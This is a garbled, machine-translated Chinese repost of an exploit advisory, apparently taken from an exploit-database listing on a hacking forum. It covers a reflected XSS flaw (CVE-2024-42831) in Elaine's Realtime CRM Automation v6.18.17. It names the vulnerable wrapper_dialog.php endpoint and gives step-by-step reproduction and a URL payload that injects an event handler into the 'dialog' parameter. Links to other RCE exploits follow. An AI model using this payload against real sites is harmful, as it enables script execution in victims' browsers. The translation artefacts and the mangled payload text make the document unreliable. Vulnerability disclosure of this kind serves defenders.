Elaine的实时CRM自动化6.18.17-反映XSS

[HackApt-37 Team已验证会员]

＃Exploit Title:在Elaine的实时CRM Automation v6.18.17中反射XSS
＃日期: 09/2024
＃利用作者: Haythem Arfaoui（CBTW团队）
＃供应商homepage3360 https://www.elaine.io/
＃软件link:

正在加载...

www.elaine.io

＃版本: 6.18.17及以下
＃在: Windows，Linux上测试
＃CVE : CVE-2024-42831
＃ 描述
Elaine实时的反映的跨站点脚本（XSS）漏洞
CRM自动化v6.18.17允许攻击者执行任意JavaScript
用户的网络浏览器中的代码通过将精装的有效载荷注入
wrapper_dialog.php上的对话参数。
＃复制步骤:
1。导航到任何包含Elaine实时CRM自动化的网站
2。导航到此端点:/System/interface/wrapper_dialog.php
3。附加有效载荷*a'％20onafterscriptexecute=alert（document.domain） *
'对话框'参数并执行请求
4。最终网址
:/System/interface/wrapper_dialog.php?dialog=A'%20OnaftersCriptexecute=alert（document.domain）

 

H

ABB CYLON FOEXS 3.08.01-远程代码执行（RCE）

H

XWIKI标准14.10-远程代码执行（RCE）